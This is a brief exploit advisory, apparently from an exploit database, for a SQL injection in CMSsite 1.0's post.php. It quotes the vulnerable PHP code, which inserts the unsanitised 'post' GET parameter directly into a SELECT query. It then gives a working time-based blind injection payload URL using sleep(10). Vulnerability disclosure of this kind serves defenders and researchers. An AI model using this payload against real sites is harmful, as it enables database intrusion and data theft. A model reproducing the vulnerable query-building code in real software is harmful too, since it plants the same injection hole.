CMSsite 1.0 post.php SQL Injection

`# Exploit Title: CMSsite 1.0 - 'post' SQL Injection  
  
# Exploit Author: Mr Winst0n  
# Author E-mail: manamtabeshekan[@]gmail[.]com  
# Discovery Date: February 17, 2019  
# Vendor Homepage: https://github.com/VictorAlagwu/CMSsite  
# Software Link : https://github.com/VictorAlagwu/CMSsite/archive/master.zip  
# Tested Version: 1.0  
# Tested on: Kali linux, Windows 8.1   
  
  
# PoC:  
# Vulnerable File: post.php  
# Vulnerable Parameter : post  
  
if (isset($_GET['post'])) {  
$post = $_GET['post'];  
}  
$query = "SELECT * FROM posts WHERE post_id=$post";  
$run_query = mysqli_query($con, $query);  
  
  
  
# Payload: http://localhost/CMSsite/post.php?post=1%20and%20(sleep(10))  
  
  
  
  
`